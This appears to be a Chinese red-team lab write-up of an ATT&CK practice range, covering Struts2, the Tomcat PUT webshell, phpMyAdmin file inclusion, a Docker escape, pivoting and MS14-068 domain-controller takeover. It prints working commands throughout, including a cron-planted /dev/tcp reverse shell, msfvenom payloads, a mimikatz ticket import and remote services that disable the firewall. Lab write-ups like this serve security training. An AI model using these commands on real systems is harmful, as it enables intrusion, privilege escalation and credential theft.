百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

ATT&CK红队实战(四)(att&ck实战系列-红队实战 三)

bigegpt 2024-08-02 11:07 9 浏览

通过前面的靶场三,我们学习了命令执行函数的绕过,脏牛提权以及WMI的利用,靶场四利用的知识点有struts2、tomcatl漏洞利用、phpmyadmin文件包含、docker逃逸、以及MS14-068攻击域孔,下面让我们来看一下吧。

本次试验靶场配置好后,要自己开启vulhub里面的三个漏洞

攻击机 192.168.1.3

Web 192.168.1.9 192.168.183.3

Win7 192.168.183.2

DC 192.168.1.130

0x00:信息收集

先对目标进行端口扫描,发现开放了2001、2002、2003 三个web端口

0x01:漏洞分析

struts2

访问http://192.168.1.9:2001/doUpload.action发现是struts2,使用漏洞利用工具直接获取shell

Tomcat

访问http://192.168.1.9:2001/doUpload.action是一个tomcat页面,首先想的是看有没有弱口令,然后进入后台部署war包来进行getshell,但是不行,那就看看有没有CVE漏洞,使用漏洞扫描工具发现存在CVE-2017-12615,可以直接PUT上传一个shell文件

抓包上传一个冰蝎的木马

访问一下发现存在shell.jsp文件成功上传

Phpmyadmin

访问http://192.168.1.9:2003/发现是一个phpmyadmin未授权页面

首先想到的是修改日志文件或者直接写入一句话木马,但是没有权限,测试发现存在文件包含漏洞

http://192.168.1.9:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd


访问

http://192.168.1.9:2003/index.php?target=db_sql.php?w=../../../../../../../../../../tmp/sess_c31ee298e7a539c99516b6e291d5de32

尝试写入一句话,但是工具连接不上,换成GET方式执行命令也不行,但通过执行system函数来执行命令。

0x02:漏洞利用

利用Tomcat以PUT方式上传一个木马文件,使用冰蝎进行连接

docker逃逸

判断是否为docker环境

ls -alh /.dockerenv #查看是否存dockerrnv文件

cat /proc/1/cgroup #查看系统进程的cgroup信息

挂载宿主机

fdisk -l #查看磁盘文件

mkdir /chan #新建一个目录用于挂载

mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内

计划任务写入一个反弹shell的脚本

Touch /chan/tmp/test.sh

Chmod +x /chan/tmp/test.sh

Ls -l /chan/tmp/test.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.1.3/9999 0>&1" >> /chan/tmp/test.sh

cat /chan/tmp/test.sh

sed -i '$a*/1 * * * * root bash /tmp/test.sh ' /chan/etc/crontab

cat /test/etc/crontab

攻击机监听端口获取shell,逃逸成功,此时也利用计划任务corntab提权到root权限

利用python获取一个交互式shell

进行简单的信息收集,发现存在两个网卡,内网IP为192.168.183.3

使用msf生产一个shell.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444-f elf > shell.elf

在靶机中将shell.elf下载下来赋权并执行

MSF监听4444端口,成功获得一个meterpreter

0x03:横向渗透

添加路由,然后使用MSF开个sock4正向代理,配合proxychains

将/etc/proxychains.conf配置文件中的端口改为1080

配置好后访问内网地址,发现成功访问说明配置成功

内网存活主机扫描

利用MSF自带的模块进行内网主机存活扫描

或者在靶机中执行下述命令

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

端口服务探测

proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.2

proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130

发现主机开启了445端口,利用ms17-010攻击域内主机,这里创建一个正向的shell

攻击成功,成功获取一个meterpreter,

使用tasklist /v查看进程发现存在DEMO域成员进程,尝试抓取其密码

成功抓取到douser域用户的密码

切换到域用户

进行简单域信息收集

利用MS14-048攻击域控

获取域用户douser的SID

返回system权限,使用MS14-068进行攻击

利用ms14-068生成票据:

MS14-068.exe -u douser@demo.com -p Dotest123 -s

S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

在mimikztz中导入票据:

Kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache

成功获取域控权限

利用MSF生产一个正向连接的payload

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe -o/var/www/html/cahn.exe

将chan.exe上传到跳板机上

然后将chan.exe复制到域控上

创建关闭域控的防火墙和执行chan.exe的服务,然后执行

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start ProFirewall

sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\chan.exe"

sc \\WIN-ENS2VR5TR3N start Startup

在MSF设置监听,获取一个meterpreter,但是这里过了一会,会自动断开,所以我迁移了一个进程

抓取域控管理员的密码

后面就是开启3389端口然后进行桌面连接了

run post/windows/manage/enable_rdp

或者

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server/v fDenyTSConnections /t REG_DWORD /d 0 /f

0x04:总结

学习了docker逃逸的姿势,在搭建好代理对内网主机使用MS17010进行攻击时,由于网络的原因好几次都是攻击成功,但是无法返回一个meterpreter。在靶机中查看端口,发现监听的端口过了一会会自动断开,好在后面还是成功返回了一个meterpreter ,然后利用MS14-068拿下域控。

相关推荐

得物可观测平台架构升级:基于GreptimeDB的全新监控体系实践

一、摘要在前端可观测分析场景中,需要实时观测并处理多地、多环境的运行情况,以保障Web应用和移动端的可用性与性能。传统方案往往依赖代理Agent→消息队列→流计算引擎→OLAP存储...

warm-flow新春版:网关直连和流程图重构

本期主要解决了网关直连和流程图重构,可以自此之后可支持各种复杂的网关混合、多网关直连使用。-新增Ruoyi-Vue-Plus优秀开源集成案例更新日志[feat]导入、导出和保存等新增json格式支持...

扣子空间体验报告

在数字化时代,智能工具的应用正不断拓展到我们工作和生活的各个角落。从任务规划到项目执行,再到任务管理,作者深入探讨了这款工具在不同场景下的表现和潜力。通过具体的应用实例,文章展示了扣子空间如何帮助用户...

spider-flow:开源的可视化方式定义爬虫方案

spider-flow简介spider-flow是一个爬虫平台,以可视化推拽方式定义爬取流程,无需代码即可实现一个爬虫服务。spider-flow特性支持css选择器、正则提取支持JSON/XML格式...

solon-flow 你好世界!

solon-flow是一个基础级的流处理引擎(可用于业务规则、决策处理、计算编排、流程审批等......)。提供有“开放式”驱动定制支持,像jdbc有mysql或pgsql等驱动,可...

新一代开源爬虫平台:SpiderFlow

SpiderFlow:新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。-精选真开源,释放新价值。概览Spider-Flow是一个开源的、面向所有用户的Web端爬虫构建平台,它使用Ja...

通过 SQL 训练机器学习模型的引擎

关注薪资待遇的同学应该知道,机器学习相关的岗位工资普遍偏高啊。同时随着各种通用机器学习框架的出现,机器学习的门槛也在逐渐降低,训练一个简单的机器学习模型变得不那么难。但是不得不承认对于一些数据相关的工...

鼠须管输入法rime for Mac

鼠须管输入法forMac是一款十分新颖的跨平台输入法软件,全名是中州韵输入法引擎,鼠须管输入法mac版不仅仅是一个输入法,而是一个输入法算法框架。Rime的基础架构十分精良,一套算法支持了拼音、...

Go语言 1.20 版本正式发布:新版详细介绍

Go1.20简介最新的Go版本1.20在Go1.19发布六个月后发布。它的大部分更改都在工具链、运行时和库的实现中。一如既往,该版本保持了Go1的兼容性承诺。我们期望几乎所...

iOS 10平台SpriteKit新特性之Tile Maps(上)

简介苹果公司在WWDC2016大会上向人们展示了一大批新的好东西。其中之一就是SpriteKitTileEditor。这款工具易于上手,而且看起来速度特别快。在本教程中,你将了解关于TileE...

程序员简历例句—范例Java、Python、C++模板

个人简介通用简介:有良好的代码风格,通过添加注释提高代码可读性,注重代码质量,研读过XXX,XXX等多个开源项目源码从而学习增强代码的健壮性与扩展性。具备良好的代码编程习惯及文档编写能力,参与多个高...

Telerik UI for iOS Q3 2015正式发布

近日,TelerikUIforiOS正式发布了Q32015。新版本新增对XCode7、Swift2.0和iOS9的支持,同时还新增了对数轴、不连续的日期时间轴等;改进TKDataPoin...

ios使用ijkplayer+nginx进行视频直播

上两节,我们讲到使用nginx和ngixn的rtmp模块搭建直播的服务器,接着我们讲解了在Android使用ijkplayer来作为我们的视频直播播放器,整个过程中,需要注意的就是ijlplayer编...

IOS技术分享|iOS快速生成开发文档(一)

前言对于开发人员而言,文档的作用不言而喻。文档不仅可以提高软件开发效率,还能便于以后的软件开发、使用和维护。本文主要讲述Objective-C快速生成开发文档工具appledoc。简介apple...

macOS下配置VS Code C++开发环境

本文介绍在苹果macOS操作系统下,配置VisualStudioCode的C/C++开发环境的过程,本环境使用Clang/LLVM编译器和调试器。一、前置条件本文默认前置条件是,您的开发设备已...